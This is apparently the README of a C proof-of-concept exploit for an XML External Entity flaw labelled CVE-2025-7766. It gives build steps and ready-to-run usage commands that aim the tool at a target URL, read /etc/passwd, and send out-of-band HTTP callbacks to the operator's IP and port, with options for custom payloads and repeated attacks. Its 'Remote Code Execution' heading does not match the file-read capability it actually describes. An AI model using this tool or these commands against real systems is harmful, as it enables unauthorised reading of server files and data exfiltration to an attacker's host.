CVE-2025-7766 PoC Exploit

PoC for exploiting XML External Entity vulnerability in CVE-2025-7766. Demonstrates file read (/etc/passwd) and out-of-band HTTP callbacks.

Author: Byte Reaper

CVE: CVE-2025-7766

Vulnerability: Remote Code Execution via XML External Entity (XXE)

PoC for exploiting XXE in CVE-2025-7766. Demonstrates:

• Reading /etc/passwd from the target.
• Triggering out-of-band HTTP request to your server.

Requirements

• gcc
• libcurl
• argparse library

Build

gcc -o exploit exploit.c argparse.c -lcurl

Usage

# Read file payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT

# Out-of-band request payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r

# Custom payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -b '<YOUR_CUSTOM_XML>'

# Repeat requests 5 times
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r -l 5

# Verbose output
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -v

LICENSE:

MIT